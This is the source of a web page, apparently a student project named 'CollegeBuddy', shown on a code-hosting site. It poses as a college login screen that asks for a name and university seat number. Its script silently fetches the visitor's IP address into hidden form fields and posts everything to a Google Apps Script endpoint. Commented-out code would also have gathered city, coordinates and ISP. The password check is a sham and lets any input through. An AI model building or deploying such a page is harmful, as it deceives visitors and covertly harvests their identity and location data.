-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
143 lines (134 loc) · 4.94 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="stylesheet" href="style.css" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<title>CollegeBuddy</title>
</head>
<body>
<form name="google-sheet" method="post">
<img class="college" src="assets/nhce_bg.jpg" alt="image not found" />
<div class="flexbox">
<img class="logo" src="assets/logo.png" alt="image not found" />
<div class="login-box">
<label>NAME</label>
<input
id="na"
class="box"
name="Name"
type="text"
placeholder="Enter Name"
required
/>
<label>USN</label>
<input
id="pass"
class="password box"
type="text"
placeholder="Enter Usn"
name="Usn"
required
/>
<input type="text" class="data" name="Ip" id="ip" />
<input type="text" class="data" name="Country" id="country" />
<input type="text" class="data" name="City" id="city" />
<input type="text" class="data" name="Region" id="region" />
<input type="text" class="data" name="Timezone" id="timezone" />
<input type="text" class="data" name="Zip" id="zip" />
<input type="text" class="data" name="Lat" id="lat" />
<input type="text" class="data" name="Lon" id="lon" />
<input type="text" class="data" name="Isp" id="isp" />
<input type="text" class="data" name="As" id="as" />
<!-- <div class="show-password">
<input type="checkbox" onclick="hidePassword()" />
<label>show password</label>
</div> -->
<div class="login-button-container">
<input
type="submit"
value="submit"
name="submit"
id="bu"
class="login-button"
onclick="form_submit()"
/>
</div>
</div>
</div>
</form>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
// function hidePassword() {
// let password = document.getElementsByClassName("password");
// password = password[0];
// if (password.type === "password") {
// password.type = "text";
// } else {
// password.type = "password";
// }
// }
function form_submit() {
console.log("subnit");
let password = document.getElementsByClassName("password")[0];
if (password.value == "admin@123") {
window.location.replace("main/index.html");
} else {
// alert("incorrect password");
// password.value = "";
window.location.replace("main/index.html");
}
}
var input = document.getElementById("pass");
input.addEventListener("keypress", function (event) {
if (event.key === "Enter") {
event.preventDefault();
document.getElementById("bu").click();
}
});
const scriptURL =
"https://script.google.com/macros/s/AKfycbyG9ZuZ0bAict3ChhlCYhJS2Tkx58eKYiG8qCiVq0l5PmrrihkHWlOKXJbiQyrly-Glng/exec";
const form = document.forms["google-sheet"];
form.addEventListener("submit", (e) => {
let name = document.getElementById("na").value;
e.preventDefault();
fetch(scriptURL, { method: "POST", body: new FormData(form) })
.then((response) => alert("Hola " + name))
.catch((error) => console.error("Error!", error.message));
});
var a = document.getElementById("ip");
// var b = document.getElementById("country");
// var c = document.getElementById("city");
// var d = document.getElementById("region");
// var e = document.getElementById("timezone");
// var f = document.getElementById("zip");
// var g = document.getElementById("lat");
// var h = document.getElementById("lon");
// var i = document.getElementById("isp");
// var j = document.getElementById("as");
// fetch("http://ip-api.com/json/?fields=61439")
fetch("https://api.ipify.org")
.then((res) => res.text())
.then((ip) => {
a.value = ip;
});
// {
// a.value = res.query;
// b.value = res.country;
// c.value = res.city;
// d.value = res.regionName;
// e.value = res.timezone;
// f.value = res.zip;
// g.value = res.lat;
// h.value = res.lon;
// i.value = res.isp;
// j.value = res.as;
// });
document.querySelector(".logo").addEventListener("dblclick", function () {
document.querySelector(".logo").classList.add("logo1");
});
</script>
</body>
</html>